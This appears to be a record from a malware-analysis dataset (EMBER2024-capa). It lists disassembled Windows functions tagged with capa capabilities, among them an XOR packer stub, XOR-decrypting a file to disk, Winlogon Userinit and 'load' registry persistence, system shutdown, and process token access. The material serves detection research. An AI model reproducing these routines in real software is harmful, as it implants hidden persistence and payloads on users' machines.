joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408c84
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
mov esi, edx
mov ebx, eax
lea edx, [ebp - 0xc]
mov eax, ebx
call fcn.00408c38
test al, al
jne 0x408ca5
xor eax, eax
mov dword [ebp - 4], eax
jmp 0x408cf1
xor eax, eax
push ebp
push 0x408ce1
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.00403414
push eax
call sub.kernel32.dll_DeleteFileA
mov dword [ebp - 4], eax
call sub.kernel32.dll_GetLastError_1
mov dword [ebp - 0x10], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x408ce8
lea eax, [ebp - 0xc]
call fcn.00408c74
ret
mov eax, dword [ebp - 4]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x408ff8
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
push edi
mov esi, eax
xor eax, eax
push ebp
push 0x4090e7
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
call fcn.00406ad8
mov edx, dword [ebp - 8]
mov ecx, 0x409100
xor eax, eax
call fcn.00408eec
push 0
mov eax, dword [ebp - 4]
call fcn.00403414
push eax
call sub.kernel32.dll_CreateDirectoryA
test eax, eax
jne 0x4090b5
call sub.kernel32.dll_GetLastError_1
mov ebx, eax
cmp ebx, 0xb7
je 0x409018
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0x18]
mov edx, dword [ebp - 4]
mov al, 0x2f
call fcn.00408aa4
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x14], eax
lea edx, [ebp - 0x1c]
mov eax, ebx
call fcn.00404be4
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x10], eax
lea edx, [ebp - 0x20]
mov eax, ebx
call fcn.00407050
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0xc], eax
lea edx, [ebp - 0x14]
mov ecx, 2
mov al, 0x60
call fcn.00408a74
mov ecx, dword [ebp - 8]
mov dl, 1
mov eax, 0x4045b0
call fcn.004057e0
call fcn.00402eb4
jmp 0x409018
mov eax, esi
mov edx, dword [ebp - 4]
call fcn.0040322c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4090ee
lea eax, [ebp - 0x20]
mov edx, 3
call fcn.004031b8
lea eax, [ebp - 8]
mov edx, 2
call fcn.004031b8
ret

Function at 0x409130
Capabilities:
Shutdown system

Disassembly:
add esp, 0xffffffec
cmp dword [0x40a07c], 2
jne 0x40919d
push esp
push 0x28
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
test eax, eax
jne 0x409155
call fcn.00409110
jmp 0x4091af
lea eax, [esp + 8]
push eax
push 0x4091b4
push 0
call sub.advapi32.dll_LookupPrivilegeValueA
mov dword [esp + 4], 1
mov dword [esp + 0x10], 2
push 0
push 0
push 0
lea eax, [esp + 0x10]
push eax
push 0
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_AdjustTokenPrivileges
call sub.kernel32.dll_GetLastError_1
test eax, eax
je 0x40919d
call fcn.00409110
jmp 0x4091af
push 0
push 2
call sub.user32.dll_ExitWindowsEx
test eax, eax
jne 0x4091af
call fcn.00409110
add esp, 0x14
ret
Function at 0x4091c8
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], edx
mov ebx, eax
mov esi, ecx
dec esi
test esi, esi
jl 0x409222
inc esi
xor edi, edi
cmp edi, 1
jne 0x4091ee
mov eax, dword [ebp + 0xc]
push eax
call sub.kernel32.dll_Sleep
jmp 0x4091fc
cmp edi, 1
jle 0x4091fc
mov eax, dword [ebp + 8]
push eax
call sub.kernel32.dll_Sleep
mov edx, dword [ebp - 4]
mov eax, ebx
call fcn.00408c84
test eax, eax
jne 0x409222
call sub.kernel32.dll_GetLastError_1
cmp eax, 2
je 0x409222
call sub.kernel32.dll_GetLastError_1
cmp eax, 3
je 0x409222
inc edi
dec esi
jne 0x4091de
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 8

Function at 0x409614
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff88
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ecx
mov edi, edx
mov esi, eax
lea ebx, [ebp - 0x78]
xor eax, eax
push ebp
push 0x409704
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x40971c
push esi
push 0x409728
push edi
lea eax, [ebp - 8]
mov edx, 4
call fcn.004033b4
lea eax, [ebp - 0x4c]
xor ecx, ecx
mov edx, 0x44
call fcn.0040277c
mov dword [ebp - 0x4c], 0x44
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0x4c]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.00403414
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x409698
mov al, 0x62
call fcn.0040922c
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle_1
jmp 0x4096af
push ebx
call sub.user32.dll_TranslateMessage
push ebx
call sub.user32.dll_DispatchMessageA
push 1
push 0
push 0
push 0
push ebx
call sub.user32.dll_PeekMessageA
test eax, eax
jne 0x4096a3
push 0xff
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x5c]
push eax
push 1
call sub.user32.dll_MsgWaitForMultipleObjects
dec eax
je 0x4096af
mov eax, dword [ebp - 4]
push eax
mov eax, dword [ebp - 0x5c]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x5c]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40970b
lea eax, [ebp - 8]
call fcn.00403198
ret
Function at 0x4097bc
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffbc
mov edi, eax
lea esi, [esp + 0x28]
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetSystemInfo
mov ebx, edi
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409870
jmp 0x409865
cmp dword [esi + 0x10], 0x1000
jne 0x409851
test byte [esi + 0x15], 1
jne 0x409851
xor ebx, ebx
mov eax, dword [esi + 0x14]
cmp eax, 1
je 0x409810
cmp eax, 2
je 0x409810
cmp eax, 0x10
je 0x409810
cmp eax, 0x20
jne 0x409825
push esp
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x409825
mov bl, 1
xor ebp, ebp
jmp 0x409836
mov eax, dword [esi]
add eax, ebp
call fcn.004097b4
add ebp, dword [esp + 8]
cmp ebp, dword [esi + 0xc]
jb 0x409829
test bl, bl
je 0x409851
push esp
mov eax, dword [esp + 4]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov ebx, eax
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409870
mov eax, dword [esi + 4]
cmp eax, edi
je 0x4097e8
add esp, 0x44
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43200c
pop eax
nop
nop
nop
nop
nop
nop
add eax, 0x40729f
sub eax, 0x407245
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x432030
nop
nop
nop
nop
nop
nop
add eax, 0xc
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
nop
jne 0x43201e
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x14d0fa28
Capabilities:
Check http status code

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
xor ebx, ebx
push ebx
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
push 0x20000013
push dword [ebp + 8]
mov dword [ebp - 8], 4
mov dword [ebp - 0xc], ebx
call dword [0x14d12300]
test eax, eax
je 0x14d0fb16
cmp dword [ebp - 0xc], 0xc8
jne 0x14d0fb16
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
push dword [ebp + 0xc]
call dword [0x14d12158]
mov esi, eax
cmp esi, 0xffffffff
je 0x14d0fb16
mov byte [ebp - 1], bl
push ebx
push dword [ebp + 0x10]
call dword [0x14d12150]
test eax, eax
je 0x14d0fabc
lea eax, [ebp - 8]
push eax
push 0x200
lea eax, [ebp - 0x210]
push eax
push dword [ebp + 8]
call dword [0x14d122ec]
test eax, eax
jne 0x14d0fac0
mov byte [ebp - 1], 1
cmp dword [ebp - 8], ebx
je 0x14d0faf0
push ebx
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 8]
lea eax, [ebp - 0x210]
push eax
push esi
call dword [0x14d12190]
test eax, eax
je 0x14d0fae7
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 8]
je 0x14d0faeb
mov byte [ebp - 1], 1
cmp byte [ebp - 1], bl
je 0x14d0fa91
push esi
call dword [0x14d121a0]
push esi
call dword [0x14d12140]
cmp byte [ebp - 1], bl
je 0x14d0fb0c
push dword [ebp + 0xc]
call fcn.14d0eab6
pop ecx
xor eax, eax
cmp byte [ebp - 1], bl
sete al
jmp 0x14d0fb18
xor al, al
pop esi
pop ebx
leave
ret
Function at 0x401000
Capabilities:
Move file
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40b1c0
mov eax, dword fs:[0]
push eax
sub esp, 0x30
mov eax, dword [0x410024]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 8]
push 0
push 0x80
push 3
push 0
push 0
push 0x80000000
push eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
mov dword [ebp - 0x2c], edi
cmp edi, 0xffffffff
jne 0x401061
xor al, al
jmp 0x401189
push 0
lea edx, [ebp - 0x30]
push edx
push 8
lea eax, [ebp - 0x1c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
setne bl
test bl, bl
je 0x401180
cmp dword [ebp - 0x30], 8
jne 0x40115e
mov eax, 8
mov ecx, str.GIF89a
lea esi, [ebp - 0x1c]
jmp 0x4010a0
mov edx, dword [esi]
cmp edx, dword [ecx]
jne 0x40115e
sub eax, 4
add ecx, 4
add esi, 4
cmp eax, 4
jae 0x4010a0
xor edx, edx
cmp eax, edx
je 0x4010e6
mov bl, byte [ecx]
cmp bl, byte [esi]
jne 0x40115e
cmp eax, 1
jbe 0x4010e6
mov bl, byte [ecx + 1]
cmp bl, byte [esi + 1]
jne 0x40115e
cmp eax, 2
jbe 0x4010e6
mov al, byte [ecx + 2]
cmp al, byte [esi + 2]
jne 0x40115e
push edx
mov dword [ebp - 4], edx
mov esi, dword [sym.imp.KERNEL32.dll_ReadFile]
lea ecx, [ebp - 0x24]
push ecx
mov dword [ebp - 0x38], edx
push 1
lea edx, [ebp - 0x1d]
push edx
push edi
mov dword [ebp - 0x3c], edi
call esi
test eax, eax
je 0x40110d
movzx ebx, byte [ebp - 0x1d]
jmp 0x401110
or ebx, 0xffffffff
push 0
lea eax, [ebp - 0x24]
push eax
push 1
lea ecx, [ebp - 0x1d]
push ecx
push edi
mov byte [ebp - 0x34], bl
call esi
test eax, eax
je 0x401154
movzx ecx, byte [ebp - 0x1d]
test ecx, ecx
js 0x401154
movzx eax, bl
xor eax, ecx
mov dword [ebp - 0x38], 1
cmp eax, 0x5a
jne 0x401154
lea esi, [ebp - 0x3c]
call fcn.004011b0
mov ecx, dword [ebp - 0x28]
mov edi, esi
call fcn.004012a0
mov edi, dword [ebp - 0x2c]
mov bl, 1
jmp 0x401180
cmp byte [ebp - 0x1c], 0x4d
jne 0x40117e
cmp byte [ebp - 0x1b], 0x5a
jne 0x40117e
mov edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x24]
push 3
push edx
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
mov bl, 1
jmp 0x401180
xor bl, bl
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00402921
mov esp, ebp
pop ebp
ret
Function at 0x4011b0
Capabilities:
Encode data using xor
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [0x410024]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [esi]
push ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_ReadFile]
push 0
lea eax, [ebp - 0x110]
push eax
push 1
lea ecx, [ebp - 0x109]
push ecx
push edx
call edi
test eax, eax
je 0x4011f1
movzx ecx, byte [ebp - 0x109]
test ecx, ecx
jns 0x4011f6
or ebx, 0xffffffff
jmp 0x40120d
mov eax, dword [esi + 4]
movzx ebx, byte [esi + 8]
mov edx, eax
and edx, 0xff
xor ebx, edx
xor ebx, ecx
inc eax
mov dword [esi + 4], eax
push 0x103
lea eax, [ebp - 0x107]
push 0
push eax
mov byte [ebp - 0x108], 0
call fcn.00404d00
add esp, 0xc
push 0
lea ecx, [ebp - 0x110]
push ecx
mov ecx, dword [esi]
movzx edx, bl
push edx
lea eax, [ebp - 0x108]
push eax
push ecx
call edi
test eax, eax
je 0x40127b
mov edi, dword [ebp - 0x110]
mov ecx, dword [esi + 4]
xor eax, eax
test edi, edi
je 0x401278
mov dl, byte [esi + 8]
lea esp, [esp]
mov bl, byte [ebp + eax - 0x108]
xor bl, dl
xor bl, cl
mov byte [ebp + eax - 0x108], bl
inc eax
inc ecx
cmp eax, edi
jb 0x401260
mov dword [esi + 4], ecx
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
lea eax, [ebp - 0x108]
pop ebx
call fcn.00402921
mov esp, ebp
pop ebp
ret
Function at 0x4012a0
Capabilities:
Check if file exists
Delete file
Encode data using xor
Get file attributes
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2018
call fcn.004094f0
mov eax, dword [0x410024]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, ecx
push esi
push ebx
mov dword [ebp - 0x2008], ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x4012d8
test al, 0x10
jne 0x4012d8
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edx, dword [edi]
push 0
lea eax, [ebp - 0x200c]
push eax
push 4
lea ecx, [ebp - 0x2010]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x401331
mov esi, dword [ebp - 0x200c]
mov ecx, dword [edi + 4]
xor eax, eax
test esi, esi
je 0x40132e
mov dl, byte [edi + 8]
lea esp, [esp]
mov bl, byte [ebp + eax - 0x2010]
xor bl, dl
xor bl, cl
mov byte [ebp + eax - 0x2010], bl
inc eax
inc ecx
cmp eax, esi
jb 0x401310
mov ebx, dword [ebp - 0x2008]
mov dword [edi + 4], ecx
push 0
push 0x80
push 4
push 0
push 0
push 0x40000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x2008], eax
mov eax, dword [ebp - 0x2010]
mov ebx, eax
mov dword [ebp - 0x200c], ebx
test eax, eax
jle 0x401407
mov eax, ebx
cmp ebx, 0x2000
jb 0x401375
mov eax, 0x2000
push 0
lea ecx, [ebp - 0x2014]
push ecx
push eax
mov eax, dword [edi]
lea edx, [ebp - 0x2004]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40142b
mov esi, dword [ebp - 0x2014]
mov ecx, dword [edi + 4]
xor eax, eax
test esi, esi
je 0x4013ce
mov dl, byte [edi + 8]
lea esp, [esp]
mov bl, byte [ebp + eax - 0x2004]
xor bl, dl
xor bl, cl
mov byte [ebp + eax - 0x2004], bl
inc eax
inc ecx
cmp eax, esi
jb 0x4013b0
mov ebx, dword [ebp - 0x200c]
mov dword [edi + 4], ecx
test esi, esi
jle 0x4013fd
mov eax, dword [ebp - 0x2008]
push 0
lea ecx, [ebp - 0x2018]
push ecx
push esi
lea edx, [ebp - 0x2004]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub ebx, esi
mov dword [ebp - 0x200c], ebx
jmp 0x4013ff
js 0x40142b
test ebx, ebx
jg 0x401366
mov esi, dword [ebp - 0x2008]
push esi
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.00402921
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0x2008]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x40e828
lea edx, [ebp - 0x2014]
push edx
mov dword [ebp - 0x2014], 6
call fcn.00409b7c
int3
Function at 0x401480
Capabilities:
Compare security identifiers

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x410024]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x10]
push eax
xor ebx, ebx
push ebx
push 8
mov dword [ebp - 0xc], ebx
mov word [ebp - 8], 0x500
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenThreadToken]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x4014f2
call esi
cmp eax, 0x3f0
jne 0x4014dc
lea ecx, [ebp - 0x10]
push ecx
push 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x4014f2
xor eax, eax
lea esp, [ebp - 0x28]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402921
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x10]
mov edi, dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
lea edx, [ebp - 0x14]
push edx
push ebx
push ebx
push 2
push eax
call edi
test eax, eax
jne 0x4014dc
call esi
cmp eax, 0x7a
jne 0x4014dc
mov eax, dword [ebp - 0x14]
add eax, 8
cmp eax, 0x400
ja 0x401534
call fcn.00408ff0
mov esi, esp
cmp esi, ebx
je 0x4014dc
mov dword [esi], 0xcccc
add esi, 8
jmp 0x40154c
push eax
call fcn.00402b82
add esp, 4
cmp eax, ebx
je 0x40154a
mov dword [eax], 0xdddd
add eax, 8
mov esi, eax
cmp esi, ebx
je 0x4014dc
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x10]
lea ecx, [ebp - 0x14]
push ecx
push edx
push esi
push 2
push eax
call edi
test eax, eax
je 0x4014dc
lea ecx, [ebp - 0x18]
push ecx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
push 2
lea edx, [ebp - 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x4014dc
xor edi, edi
mov dword [ebp - 0x1c], ebx
cmp dword [esi], ebx
jbe 0x4015c9
lea ebx, [esi + 4]
lea ebx, [ebx]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebx]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_EqualSid]
test eax, eax
jne 0x4015bb
inc edi
add ebx, 8
cmp edi, dword [esi]
jb 0x4015a0
jmp 0x4015c9
test byte [esi + edi*8 + 8], 4
je 0x4015c9
mov dword [ebp - 0x1c], 1
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.ADVAPI32.dll_FreeSid]
add esi, 0xfffffff8
cmp dword [esi], 0xdddd
jne 0x4015e7
push esi
call fcn.00402b48
add esp, 4
mov eax, dword [ebp - 0x1c]
lea esp, [ebp - 0x28]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402921
mov esp, ebp
pop ebp
ret
Function at 0x401600
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe0
mov eax, dword [0x410024]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
push 0xc7
mov esi, edx
lea edx, [ebp - 0xcb]
push 0
push edx
mov dword [ebp - 0xdc], eax
mov dword [ebp - 0xd8], ecx
mov byte [ebp - 0xcc], 0
call fcn.00404d00
add esp, 0xc
lea eax, [ebp - 0xd0]
push eax
push 0xf013f
push 0
push edi
push esi
mov dword [ebp - 0xe0], 0xc8
mov dword [ebp - 0xd4], 1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, 2
jne 0x401693
push 0
lea ecx, [ebp - 0xd0]
push ecx
push 0
push 0xf013f
push 0
push 0
push 0
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov edi, dword [ebp - 0xdc]
lea edx, [ebp - 0xe0]
push edx
mov edx, dword [ebp - 0xd0]
lea eax, [ebp - 0xcc]
push eax
lea ecx, [ebp - 0xd4]
push ecx
push 0
push edi
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push ebx
cmp eax, 2
jne 0x4016da
lea eax, [ebp - 0xcc]
push 0xc8
push eax
call fcn.00402d1b
add esp, 0xc
jmp 0x40172c
lea ecx, [ebp - 0xcc]
push ecx
call fcn.00402c20
add esp, 8
test eax, eax
jne 0x40172c
mov esi, dword [ebp - 0xd8]
push esi
lea edx, [ebp - 0xcc]
push 0xc8
push edx
call fcn.00402d1b
push ebx
lea eax, [ebp - 0xcc]
push 0xc8
push eax
call fcn.00402d1b
push esi
lea ecx, [ebp - 0xcc]
push 0xc8
push ecx
call fcn.00402d1b
add esp, 0x24
mov eax, dword [ebp - 0xd0]
push 0xc8
lea edx, [ebp - 0xcc]
push edx
push 1
push 0
push edi
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
pop edi
pop esi
test eax, eax
jne 0x40176d
mov ecx, dword [ebp - 0xd0]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402921
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp - 0xd0]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor ecx, ebp
xor al, al
call fcn.00402921
mov esp, ebp
pop ebp
ret
Function at 0x401790
Capabilities:
Persist via winlogon helper dll registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x280
mov eax, dword [0x410024]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor ebx, ebx
push 0x103
lea eax, [ebp - 0x177]
push ebx
push eax
mov byte [ebp - 0x178], bl
call fcn.00404d00
push 0x63
lea ecx, [ebp - 0x73]
push ebx
push ecx
mov byte [ebp - 0x74], bl
call fcn.00404d00
xor eax, eax
add esp, 0x18
mov byte [ebp - 0x10], bl
mov dword [ebp - 0xf], eax
mov dword [ebp - 0xb], eax
mov byte [ebp - 7], al
call fcn.00401480
lea ecx, [ebx + 0x41]
lea edi, [ebp - 0x178]
test eax, eax
je 0x401826
mov edx, dword [0x40e228]
mov eax, dword [str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon]
mov esi, str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x19
mov esi, str.Userinit
lea edi, [ebp - 0x74]
rep movsd dword es:[edi], dword [esi]
mov cx, word [0x40e230]
mov dword [ebp - 0x280], 0x80000002
jmp 0x401858
mov edx, dword [0x40e270]
mov eax, dword [str.PerfWatson.exe]
mov esi, str.SOFTWAREMicrosoftWindows_NTCurrentVersionWindows
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x19
mov esi, str.load
lea edi, [ebp - 0x74]
rep movsd dword es:[edi], dword [esi]
mov cx, word [0x40e278]
mov dword [ebp - 0x280], 0x80000001
push 0x103
mov dword [ebp - 0x10], edx
lea edx, [ebp - 0x27b]
push ebx
push edx
mov word [ebp - 8], cx
mov dword [ebp - 0xc], eax
mov byte [ebp - 0x27c], bl
call fcn.00404d00
add esp, 0xc
push 0x104
lea eax, [ebp - 0x27c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x74]
push ecx
lea edx, [ebp - 0x178]
push edx
mov edx, dword [ebp - 0x280]
lea ecx, [ebp - 0x10]
lea ebx, [ebp - 0x27c]
call fcn.00401600
mov ecx, dword [ebp - 4]
add esp, 8
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402921
mov esp, ebp
pop ebp
ret

Function at 0x4018d0
Capabilities:
Enumerate processes on remote desktop session host

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
push edi
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 4]
push ecx
xor esi, esi
push 1
push esi
push esi
mov dword [ebp - 8], esi
mov dword [ebp - 4], esi
call dword [sym.imp.WTSAPI32.dll_WTSEnumerateProcessesA]
test eax, eax
je 0x40193f
cmp dword [ebp - 8], esi
jbe 0x40193f
xor edi, edi
lea ecx, [ecx]
mov edx, dword [0x411b68]
mov eax, dword [ebp - 4]
mov ecx, dword [edi + eax + 8]
push edx
push ecx
call fcn.00402b01
add esp, 8
test eax, eax
je 0x401951
mov edx, dword [0x411b78]
mov eax, dword [ebp - 4]
mov ecx, dword [edi + eax + 8]
push edx
push ecx
call fcn.00402b01
add esp, 8
test eax, eax
je 0x401951
inc esi
add edi, 0x10
cmp esi, dword [ebp - 8]
jb 0x401900
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WTSAPI32.dll_WTSFreeMemory]
pop edi
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.WTSAPI32.dll_WTSFreeMemory]
pop edi
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x401970
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x240
mov eax, dword [0x410024]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
push 0
push 2
mov dword [ebp - 0x238], eax
mov dword [ebp - 0x234], 0
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4019b9
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402921
mov esp, ebp
pop ebp
ret
push 0x228
lea ecx, [ebp - 0x22c]
push 0
push ecx
mov dword [ebp - 0x230], 0x22c
call fcn.00404d00
add esp, 0xc
lea edx, [ebp - 0x230]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x401a37
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_Process32NextW]
lea esp, [esp]
push str.explorer.exe
lea eax, [ebp - 0x20c]
push eax
call ebx
test eax, eax
je 0x401a22
lea ecx, [ebp - 0x230]
push ecx
push esi
call edi
test eax, eax
jne 0x401a00
jmp 0x401a35
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x228]
mov dword [ebp - 0x23c], edx
pop edi
pop ebx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x23c]
push eax
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
je 0x4019a8
mov esi, dword [ebp - 0x238]
push esi
push 0xf01ff
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x4019a8
mov eax, dword [esi]
lea ecx, [ebp - 0x240]
push ecx
push 4
lea edx, [ebp - 0x234]
push edx
push 0xc
push eax
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov ecx, dword [ebp - 4]
test eax, eax
setne al
xor ecx, ebp
pop esi
call fcn.00402921
mov esp, ebp
pop ebp
ret